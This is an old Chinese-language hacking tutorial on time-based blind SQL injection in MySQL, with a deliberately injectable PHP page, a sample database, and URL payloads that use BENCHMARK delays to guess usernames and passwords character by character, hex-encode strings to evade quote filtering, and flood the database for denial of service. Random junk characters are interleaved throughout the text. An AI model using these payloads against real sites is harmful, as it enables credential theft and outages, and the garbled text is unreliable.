MYSQL中BENCHMARK函数的利用
6 k8 D7 [. n3 x3 w, d本文作者:SuperHei
6 I- S# Z& v. E1 h9 h e2 X& a文章性质:原创
w5 n, E+ M% W# w: A; |发布日期:2005-01-02% g, I5 x) I; u; u3 h
完成日期:2004-07-09 " H7 S- y' A& {! ]- G
第一部3 F( ^& t" @! u" i4 Y* h. h
8 t0 c/ T! v: V) S$ n" E
利用时间推延进行注射---BENCHMARK函数在注射中的利用
& v+ n* o( @- j1 D5 }' K( t& |" j: p! E; U' g- \& K4 h8 W
一.前言/思路8 V! j7 b8 G% l8 t5 C2 {3 W
; [ T8 }9 j, p- r- ]
如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。: v9 R4 K- I$ l$ H2 H5 S- `( i5 c. m
( {& ]# u, A- v( R" t 本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。
7 f5 z" R6 z5 |- I; Z5 ^( u% i0 c2 T5 d2 |/ f
二.关于BENCHMARK函数
7 x6 h- v; C0 u+ x9 A+ m p% h; Q( w8 t& }7 b( t5 h) g
在MySQL参考手册里可以看到如下描叙:
3 h' j+ s. \: Y
- K, B" o5 ^6 b, F# J
! T& t' \3 H, U7 I) q6 q" @9 f--------------------------------------------------------------------------------( E' }. ]4 l+ B, x, t/ E% C) n
+ n0 i3 x. b n) i
BENCHMARK(count,expr) " j2 B( T# Z* ?; v3 B2 W
BENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。 i( ]# R, T) r% N6 N2 T' q; G
mysql> select BENCHMARK(1000000,encode("hello","goodbye"));
$ Y' H9 G5 a$ H5 x/ ?) y% ?+----------------------------------------------+
! s5 v" R+ p4 E) E| BENCHMARK(1000000,encode("hello","goodbye")) | : z; ], j( S J; c
+----------------------------------------------+ ) S5 e+ d" d+ u$ h u6 E
| 0 |
4 V, g6 D. f& j: T: M1 W: q+----------------------------------------------+
0 P5 c) A5 j; P+ s1 row in set (4.74 sec) . k* g- q9 O( F+ e3 D
6 _6 |- b8 a' E4 Y4 Z* G. _报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。9 r# F5 m: l' l% N" _
6 n% B& ^( [/ e/ I
4 A; `" w R" ?" U6 E8 P( l* W
--------------------------------------------------------------------------------
+ w9 Y$ Y, ]9 }0 I: K# H T
6 C2 t$ v8 c+ ~5 A5 x9 w+ ?/ _3 i 只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果: - d# N0 H1 b \7 Q! |0 n! Q
2 @: S: |1 G9 W$ [3 {# o+ H/ ^mysql> select md5( 'test' ); 6 P( E) _1 n) l4 L$ ^/ J5 \* |
+----------------------------------+ % Z9 k2 U+ }$ ?) F3 Z6 S
| md5( 'test' ) |
: J2 m; O) r2 u& T3 D# D5 G+----------------------------------+ , H) m/ r$ B8 X1 W1 @# n# y
| 098f6bcd4621d373cade4e832627b4f6 | % {: }! _ Y% A* T. r8 ]
+----------------------------------+
/ Y5 Y2 r+ v5 W2 S' {, w1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec + M' Y( p5 J w( E$ p: Y
F. u: T; D8 m4 X" i/ k1 rmysql> select benchmark( 500000, md5( 'test' ) );
4 I4 `% e* `% K! p8 ~5 R8 Y* p+------------------------------------+ 0 s* Q/ d* m7 ^$ b6 b2 N7 n& ]
| benchmark( 500000, md5( 'test' ) ) |
4 ^* r! I1 |+ m4 O8 L+------------------------------------+ 7 b' Y# P/ ?8 C- j5 I
| 0 |
% X# L& K7 T: |/ E+------------------------------------+
9 |, {4 X& B5 k& v1 row in set (6.55 sec) 〈------------执行时间为6.55 sec
% X, v4 F6 _* ] 2 K$ O8 A/ [. N' J! u9 T
7 \7 h3 U8 Q9 a \9 U c
由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。
+ u+ |; V6 y- D6 X$ E' f
4 V8 D% E9 z8 b三.具体例子
# v$ r8 w. R8 T h$ b) u/ |5 R; u7 ]" O3 e2 v( W. ?; ^
首先我们看个简单的php代码:
$ n$ M9 e( _ F
- e( f, {3 y# q) O, ?8 P< ?php # P. Y& d0 r4 Q+ R5 V- i- U: N4 T
$servername = "localhost";
, |: a5 H: ]4 y$dbusername = "root";
4 ?# O# l( j ?' t$dbpassword = "";
9 ?2 H' Y2 G& j, r3 N4 w( x0 X$dbname = "injection";
2 T/ v- Q& z1 ~
4 g3 w8 T: Q0 q, Z6 B3 omysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败"); 8 a# L3 f5 X5 Y5 t
* y& E9 z$ h$ t/ g$ b! d
$sql = "SELECT * FROM article WHERE articleid=$id"; . D" _# E/ X/ X' K5 X, l/ s* K( R
$result = mysql_db_query($dbname,$sql); ( D6 w. a+ X* B0 w( U* h
$row = mysql_fetch_array($result);
" J4 w5 ~7 S/ q3 @+ z7 ]: j" f
1 T9 S' P5 G8 Lif (!$row) , K" h' d- {. f" M3 B8 U7 d; `
{
; A9 j. i# ^/ [, u2 k f0 Wexit;
2 Z' R8 ?! Y8 s9 ]# R: n}
/ T% b' t" {/ J; ]2 J/ Y7 ^: O?>" q$ z+ ~1 A" l7 P' _) v. B: A
6 @5 |6 C- b8 _7 x
, h7 O( k8 J2 f, Z5 M3 Z
数据库injection结构和内容如下:
, q, k) Z8 W& y( Y; m0 l( E B2 S! c# ~3 n5 U; K
# 数据库 : `injection` ; N- {3 B# D. @6 K
#
0 u) o( T' }% W8 c: e9 \) {; s# W' A) h
: [1 x0 p! c6 e) u# -------------------------------------------------------- 7 X( M2 U& D+ s# F/ h8 v6 O n: E
- D5 |! d6 O9 z#
% _6 \+ K1 |9 ]3 O# O) y5 ^# 表的结构 `article`
z6 \, U9 Q* a3 i# 2 i, x4 y) k2 W9 A& t
) D; v+ [! ]4 L: I8 I$ w
CREATE TABLE `article` ( 8 k9 @1 p: E$ r( B! x4 \
`articleid` int(11) NOT NULL auto_increment, $ t) F: p& f j% g( ?* \' V
`title` varchar(100) NOT NULL default '',
$ U8 q, |6 B. N" j U`content` text NOT NULL, 3 w) y" P! d; `$ P% X& M% K7 I) d
PRIMARY KEY (`articleid`) 8 G8 N4 I0 k& R% Z8 y2 D
) TYPE=MyISAM AUTO_INCREMENT=3 ;
/ z2 Y6 K6 i7 ~8 F0 c1 c" U* t( s( \6 Y. ?' c7 \
#
( C) s* b7 K7 | f& s# 导出表中的数据 `article`
6 s( j. O- n. h/ P# 9 O' x. \3 I) ?7 ^0 N3 h
* T; |* X( @% h8 G5 g
INSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~'); 8 U' Y# {6 N$ f) K n* T% z% m
INSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊'); * J/ p, t0 @# ?8 q
9 \8 S R6 Y2 g. ~# T
# --------------------------------------------------------
& I! A( {0 [! `
+ P) D3 q6 e9 s, X7 `7 ?! h) m#
3 p% z; y l. y4 f# 表的结构 `user` % h- R9 w' y" o' Q) v) y9 v. P
# 8 V) h7 x# k# |; j
: p* ^! @5 `# c6 g3 {" CCREATE TABLE `user` (
" F, N3 e! L: l6 a- V# p`userid` int(11) NOT NULL auto_increment, # |; g9 w, K, J8 \0 h1 e, N
`username` varchar(20) NOT NULL default '', 4 ~: E% _' e0 {( ~7 w( ]
`password` varchar(20) NOT NULL default '',
* L1 m; \8 t7 B9 kPRIMARY KEY (`userid`)
0 Q9 P6 c# Z0 B: N) TYPE=MyISAM AUTO_INCREMENT=3 ;
6 Y/ }. j' T9 u, Q o; Q
1 R, t; o( D! W#
8 L2 w1 U" V1 |# 导出表中的数据 `user` / ^( n" S/ G ?! ^$ B0 g
#
+ [6 \; a8 }# G/ R# d' z8 N" ^) y! \. r/ F2 U1 Q0 ^
INSERT INTO `user` VALUES (1, 'angel', 'mypass');
0 Z! c; Z* E2 | z& gINSERT INTO `user` VALUES (2, '4ngel', 'mypass2');/ e* t' D e. _2 ?
0 |0 g! {; r( h( S
- i, B: y* K1 X* z* v( B, R0 q 代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:
( T, C( t( y* v( V) [: g1 b8 W* n: h+ i, Y" ?
id=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*
& T6 `/ o0 v3 j. M% j) V 6 O# ?1 y( _3 q4 U
$ R! l3 Z# B8 a
上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:$ ]" m0 u% J3 }& B
7 ? w& d! z4 j: m. @http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/* P- q3 @9 P* v
6 c3 a- F2 G% h. u1 }2 y" l* R4 X; O
执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。 8 U" w$ E$ y$ N) s
% \/ I: r% F) E3 I. Z% c/ ]( n 注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。
# l+ ~( s) u5 M0 D' G! q% p5 o, \% P& j) I
第二部
( I( d& X. L! N( |) M
! x- d- L: T o8 P" Z6 r' H0 r% c利用BENCHMARK函数进行ddos攻击
- K; k- N" t5 |3 C8 T9 b p" m# t( Z: |0 \+ |# G4 m* L% g
其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:
! g+ L9 _/ t0 j5 X j) F7 i! u
# l: Q0 R) ]7 v ?3 Hhttp://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))6 v1 t9 g! I% Y0 h
, @3 \* J8 W6 g% K& z8 o5 ?4 q' y! ?5 |7 t, f
小结
" f$ Q" O U% n. B; r4 ?6 M- M- f7 _0 L2 L: c) R. i( M6 k6 @! N
本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。# t- k1 S- {4 u3 ~. A8 R
& ?* T( q3 ^3 t" p a" k+ w7 j
z8 w% `" T/ g |% h* l |